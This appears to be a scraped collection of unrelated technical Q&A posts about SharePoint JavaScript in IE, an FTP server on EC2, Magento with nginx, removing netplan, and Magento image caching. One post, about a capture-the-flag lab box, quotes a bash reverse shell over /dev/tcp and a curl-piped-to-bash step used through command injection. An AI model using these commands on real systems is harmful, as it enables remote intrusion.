2010 – Javascript not working in IE but work works in Chrome

I had a long search and until I found a working script to use the logged in user id. Finally I have found the following Javascript code, put it in XSL to be used in an XMl viewer web part:

<script language="javascript" defer="true">

var currentUser;
function init(){
    this.clientContext = new SP.ClientContext.get_current();
    this.oWeb = clientContext.get_web();
    currentUser = this.oWeb.get_currentUser();
    this.clientContext.executeQueryAsync(Function.createDelegate(this,this.onQuerySucceeded), Function.createDelegate(this,this.onQueryFailed));

function onQuerySucceeded() {

function onQueryFailed(sender, args) {
    alert('Request failed. nError: ' + args.get_message() + 'nStackTrace: ' + args.get_stackTrace());


I call the function like this:

<A class="bluelink" href = "javascript:void(0)" onclick="javascript:window.location='{$mailtolink}' + '%0D%0Auserid: ' + currentUser.get_loginName() + '%0D%0Aurl: ' +  window.location; return false;">Request additional rights</A>

The mailtolink variable represents a valid mailto: link. The problem is, that in IE11 (also in IE8 compatibility mode), the mail body ends only with

userid: i:0

However in Chrome, I get all the details I need:

userid: i:0#.w|tdomaintestuser
url: https://myserver/testsite/default.aspx

I made the mail body shorter, to make sure it is not the lenght, but I got the same results.
Can someone give me a hint how to make the script work in IE?

linux – Why my ftp server doesnt work in passive mode but works in active mode?

Trying to setup a FTP server on a EC2.
I have installed vsftp and followed this tutorial

When I try to connect with the -p option I cannot pass any command. Everything is smooth without it.

I have setup vsftpd.conf:


And opened the port (20-21 && 50000-51000 using Terraform here)

resource "aws_security_group" "ftp_passive_port" {
  name = "ftp_passive_port"

  description = "Access to FTP passive"
  vpc_id      = aws_vpc.din_vpc.id

  ingress {
    from_port   = 50000
    to_port     = 51000
    protocol    = "tcp"
    cidr_blocks = (...)

  # Allow all outbound traffic.
  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ("")

I got this error :

Connected to xxxxxxxx.
220 Welcome to XXXXX FTP service.
Name (xxxxx:qwerty): xxxxxxxxxx
331 Please specify the password.
230 Login successful.
ftp> ls

magento2.4 – Static content doesn’t load with nginx, works with apache

I’m setting up a staging server for a server that’s already in production and functioning with Apache. My staging I’m setting with nginx because I want to test the performance difference.

When I access the store, no CSS/JS/images get loaded and I get a lot of “not found” on nginx error log.

All errors are like this:

2021/01/22 19:09:18 (error) 248516#248516: *26 open() "/var/www/html/WEBSITE/pub/static/version1611342481/frontend/Nexa/STORE/fr_CA/Magento_Catalog/images/product/placeholder/image.jpg" failed (2: No such file or directory), client: redactedIP, server: http://URL/, request: "GET /pub/static/version1611342481/frontend/Nexa/STORE/fr_CA/Magento_Catalog/images/product/placeholder/image.jpg HTTP/1.1", host: "WEBSITE", referrer: "WEBSITE/category/subcategory/product.html"

(redacted because of NDA)

There’s no folder version1611342481 inside pub/static, but there’s no folder like that as well on production server and it’s working alright. Same code and versions on both.

How can I debug/solve this?

web application – Why a curl piped bash command works but not the direct command?

So im doing some pentesting in a TryHackme box (Chill Hack) and I’ve come to some trouble. In this box I have available an input in a website where I can inject commands to the vulnerable system.

This input has filters so I cannot use bash nor netcat without escaping the command characters.

Messing around I tried getting a reverse shell by using that input with netcat, of course escaped so the command should work.

The problem is the direct command does not work. Checking the walkthrough I’ve seen that the solution is to prepare a Bash shell (bash -i >& /dev/tcp/ 0>&1), set up a web server and curl my attacking machine in order to pipe it to the bash command (Something like this: curl | bash)

Doing so provides me with a webshell.

The thing I don’t understand is, why using the exact same command (The bash shell) in the input and escaping characters for avoiding any problem with that the command does not work but it does work when piping through the curl command?

networking – Uninstalled netplan, yet its works

I have a small server on Raspberry Pi 4, Ubuntu 18.04.5 LTS. I use few service (apache, mysql, pihole). I want to setup an OpenVPN bridge (TAP). First thing I realized I have to uninstall netplan and back ifupdown, because netplan doesn’t support virtual interface.

Server IP address is static.

I did

sudo apt update
sudo apt install ifupdown
sudo apt purge netplan.io
sudo rm -rf /usr/share/netplan
sudo rm -rf /etc/netplan

I edited /etc/network/interfaces

auto lo eth0
iface lo inet loopback

iface eth0 inet static

The bridge interface doesn’t work. I changed IP to and after that I see strange things. Both IP 28 and 29 I can ping. In working web page (apache) although in interfaces I set 29 not 28. I googled more to uninstall netplan (I think I did)

I did this:

ifdown --force eth0 lo && ifup -a
systemctl unmask networking
systemctl enable networking
systemctl restart networking

systemctl stop systemd-networkd.socket systemd-networkd 
networkd-dispatcher systemd-networkd-wait-online
systemctl disable systemd-networkd.socket systemd-networkd 
networkd-dispatcher systemd-networkd-wait-online
systemctl mask systemd-networkd.socket systemd-networkd 
networkd-dispatcher systemd-networkd-wait-online
# apt-get --assume-yes purge nplan netplan.io

but still I can ping AND

ifconfig output:

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet  netmask  broadcast
        inet6 fe80::e7d2:d506:fb86:6c97  prefixlen 64  scopeid 0x20<link>

        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

What can I do to get rid of netplan setup and use ifupdown and interfaces?

How does magento product image caching works?

I uploaded some images to my products and they were visible fine on frontend. I then went and deleted those images from pub/media/catalog/product folder and also deleted pub/media/catalog/product/cache folder. When I open the media cache link of product I now see the default placeholder image. The path I use in my browser is media/catalog/product/cache/ca230af9a56e172d8d63e4842d175bbe/k/a/kars.jpg This is no way the path for the placeholder image. So now the question is:

  1. How is magento replacing the deleted image with placeholder image, instead of showing 404?
  2. How is the path not showing 404 since I had deleted those folders?

Thank you for your help.
